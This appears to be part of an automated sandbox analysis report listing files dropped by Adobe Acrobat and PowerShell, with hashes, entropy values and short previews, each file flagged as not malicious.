Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.270477849487091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJf21rPeUkwRe9:YvXKXWr5k1EZc0vFEAnG+16Ukee9
MD5:	F29924E7EC09EBAE4C7C6A46E9D0348F
SHA1:	4CF752E4D3D7F13446D3D844E6A9F8D72A89B8DC
SHA-256:	95E4F148E3314678308F57E0B3A2581EB03BC1766E7A1E56C11CADBE1F130B31
SHA-512:	AA47F5015DF78B3F83CCB1573341956987BF5EBAB8EF07E09E0A3E2E19500B164C1B09EFAEB75F49CC6B3918CB494CC6EB11785C5A2048571A50E4634AF2C014
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667253670238297
Encrypted:	false
SSDEEP:	24:Yv6XWreWzvSZamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS3:YvYOqlBgkDMUJUAh8cvM3
MD5:	FC47E1F1DEB827F75D4BBDFF93768EA4
SHA1:	FB2FF88CCCC00ACF17CE23EDF606854AD1901DC3
SHA-256:	84F22C8292E595738D540D5F612B73CD58D95C370D31D94DF702289672B32599
SHA-512:	171197F1FE12568D53E66477EE6545F00F5AD6A54AB1C9CCD38212B25E64AE07320DDA1A93F8173276CFFF912B15BA4D3395E1100D2487FFF20DD0BED23A722F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.246337623103762
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJfshHHrPeUkwRe9:YvXKXWr5k1EZc0vFEAnGUUUkee9
MD5:	159542FC4D1792CBD0739BA02111565C
SHA1:	2ACA1C0659FB00545BE022132A357766352E93DB
SHA-256:	701DEBB202A02B3AA6FDC7ADF39E7297BFF5682771806F5332D386610E1C5EB0
SHA-512:	3BB7F6896E30E52A40A31B411620E045B7B3488AF5F39F18707EF4BC46AC6F623460C92E16656478354E443F426671C464D79C6F68DDB052AC5B56062CCD402C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.266484175246053
Encrypted:	false
SSDEEP:	6:YEQXJ2HXWrAMk19VoZcg1vRcR0YyETEUoAvJTqgFCrPeUkwRe9:YvXKXWr5k1EZc0vFEAnGTq16Ukee9
MD5:	B02F2C77F658683719FEBD27BE22EB7E
SHA1:	78DF375C87609C5F36007A504FBDA39A0C6D06DE
SHA-256:	95EEBC40FD39EFE14A25AA900DA6EFC1BF39D82711C1D0D3F5E09C8CB8AB99F7
SHA-512:	1AE98ED8025A6EF307CEDFA755E1EA3311FDDC377C89E1D589FFB0ACFB61FB2392AD38602664743216BC248E197087A62784F38A073AE7228350F378D13FCED2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"a4889ca8-d9c1-40f1-b987-76ceeff3f8ed","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736744186777,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134594782971222
Encrypted:	false
SSDEEP:	24:YecOa1sayjSDkgU/J4DgKwCj5Esj0SudG2WqA2LSgCo4D2ppxOcW95qQjeLU909y:YbFBcE7z5E+Z/BWx4SppxO3liU90E
MD5:	11C0F7D3FD7FCA4992F4896B12D3F149
SHA1:	1F805417C70D5BCB0A3268C442A34B0C067EE30C
SHA-256:	69045EA983834F50386546D62030B23A305946B22530308089DD6C12EA791713
SHA-512:	475672E274B2C16BB40B5D3DFB5A0C35C109CB0F1FC56C18AE6D40B8877F534BB709C753F62F83F22F2537728F4E9EDA664D8B5E7B06E4C61E64374C61BE0752
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c9a4d37953ebee45a006b585c5e5dd0d","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736568566000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c615dc0d84f7a92634c666fd7bbc9aea","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736568566000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d4cbf5b95b1fb928832b830f93a23dda","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736568566000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a9fc92acfe7262693d9258494d758506","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736568566000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"24c58294033c6eab70c61d422afd610a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736568566000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7d6cb5a2805579d19897c5b7d11938cc","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1879094934124679
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUEMrSvR9H9vxFGiDIAEkGVvpAMD:lNVmswUUUUUUUUEs+FGSItES
MD5:	D3816CC5058E0D34984695B8F41E3B7B
SHA1:	853F0B910C6EC4D1F3FDC697AF95EF97F7AA6A0E
SHA-256:	082C3E92CC1C48687A6CD55157B81D0D95D4FDD80CFE6EE5B91DEFD68D2B6D5A
SHA-512:	39A6DAF23A38D8F0E56FC92E899E2F318B8D01707ADF6F0E99E0BB8257BDC00A06EEDB3CC3F462D3C5C1DD38B4DDD0B7DB6B99175042E4FDF2D8939D081C2B4F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6072513635544028
Encrypted:	false
SSDEEP:	48:7MZqKUUUUUUUUUUEM/vR9H9vxFGiDIAEkGVvdqFl2GL7msa:74UUUUUUUUUUECFGSItHKVmsa
MD5:	605BE75AB0B5D44D2D27719B10E77AFC
SHA1:	D236645327CE45D939D0707FA89CD940D06C280D
SHA-256:	5A92CEAA9C2B2575F2704982BE0B2155FFC61C9C5233AD246238AC0771E7778A
SHA-512:	8A8C74EDFD95A67A50B14C0A733915F70FECE10D900D4D6340ADED0AA78AD3392D1AB1B8C422AC3634A1D49E04BBB417D9A2270CF3F94E0B07AD55EB9CAAE115
Malicious:	false
Preview:	.... .c......;?.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgf4u0dqZS3VSBya+v2gVHdCpe0aGNYyu:6a6TZ44ADEf4uoqZS3V268pUkK
MD5:	C453C3E8ACB4B13B53C80EB61A0BDAB0
SHA1:	9561308D541F5C0B0CC9940A8CB0FD51DE7F18F9
SHA-256:	DFE1908DDEBCCF7133D4E74803A703349AAA744361C21D90FCCE4D5B555CFDD7
SHA-512:	D8C34FD16B884ED75EF3536D150FD07B560E79A8CF20835FCD1C4ED1D85093C881DFF5E47F82F94077681990E4BC4A7C5A75ADF1A6A695CA3C1DBFEEF1EF4AD7
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSId7de4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5193370621730837
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl/l9:Qw946cPbiOxDlbYnuRK+bIP
MD5:	72A0BA1B053FCEDD277E3A990ABE14BE
SHA1:	B06DB40A4D22F3CF92E383EC04B8294D38CB6144
SHA-256:	D3487F04347D33A7FCF9BC7BDB7ACB22F94F1049E18982A499F2E2E42A3F6482
SHA-512:	3EE35FBF2B53CC45459602165851DE916995A58C448966B7BC82AE337A1DA9CF3AB6E5EA405A3EB67E7A7071E0001D48DB3A099309D36FD6080C16B97E85E7B9
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.0.9.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0oay0iun.bdr.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2farvezi.zrv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91d2qbeq_1ttf58b_21s.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-09-22-090.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.33163460357996
Encrypted:	false
SSDEEP:	384:QN5s5JbAtPMyChBUZfuNqEmCCZ6Y3ZR6e1AqMUKKcR0nOwZ0Su0BzyzGXRntwr7P:45k
MD5:	5ACA9CFAA7D5F1FF658C6A749BAA790B
SHA1:	B85594E00C57832058B779DD1EFEC939CD2F2FF5
SHA-256:	C50DE85C536A30F2C32DE6A70FF63A57D0B388F79AD69CBD61D525AF66676187
SHA-512:	6CD1DC7D0A47469A4EB16ABD2772A51635D9F682E1FC35D6090E6E74F93734BB530A9575FC0031C0C093A207B0FA2C888FF271F4C62D6938DD82ED9CEE6AB5DF
Malicious:	false
Preview:	SessionID=bce023cc-3fea-4d39-b3e1-af53dccb5601.1736568562110 Timestamp=2025-01-10T23:09:22:110-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=bce023cc-3fea-4d39-b3e1-af53dccb5601.1736568562110 Timestamp=2025-01-10T23:09:22:113-0500 ThreadID=7688 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=bce023cc-3fea-4d39-b3e1-af53dccb5601.1736568562110 Timestamp=2025-01-10T23:09:22:113-0500 ThreadID=7688 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=bce023cc-3fea-4d39-b3e1-af53dccb5601.1736568562110 Timestamp=2025-01-10T23:09:22:113-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=bce023cc-3fea-4d39-b3e1-af53dccb5601.1736568562110 Timestamp=2025-01-10T23:09:22:113-0500 ThreadID=7688 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.385192738036227
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rB:aA
MD5:	29FA1E5880D28CA4EF2D3806DEA17B83
SHA1:	79F7E187B955766B895AEF0B9D20EB5A061587CD
SHA-256:	3FA5214128FBC8D3E1912DAF927CC766519C98FE0A06E08980C6D7BD43C47BDE
SHA-512:	ED723585F8EAB4E2B942E910F050A71862DE49532592BB39A2E0258DDB2AE5608BF4188F9AB2B0E9EEAC17F38C92A3C775C43D51DF573593C9B0176E34BBC8BF
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\14d99dfe-b134-4c3c-ae2f-94bf998e08e6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 634912
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xbdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07EGZftwYIGNPzWL07oW:Jb3mlind9i4ufFXpAXkrfUs0wGZVwZGf
MD5:	0E1B199E77ACA01686FEB4EAEF72E148
SHA1:	7C22D506ABC4B734E9491A833F78CBB2549356D7
SHA-256:	46896E7C24B491E55815328A77A1F3FF6E9CBD6DAEFCD172F026B53320F934DE
SHA-512:	EFEEDED8F81C340876293C5A63B3F1BEED952659B2DACCCC3ADD9868F6D6782484B29BE6720FD7F8E32B0A5CFF5C08CC31C2252A9AE20F0692A935AF0C263664
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\24690324-1cb8-4d6a-bfbc-b6b3f909265a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
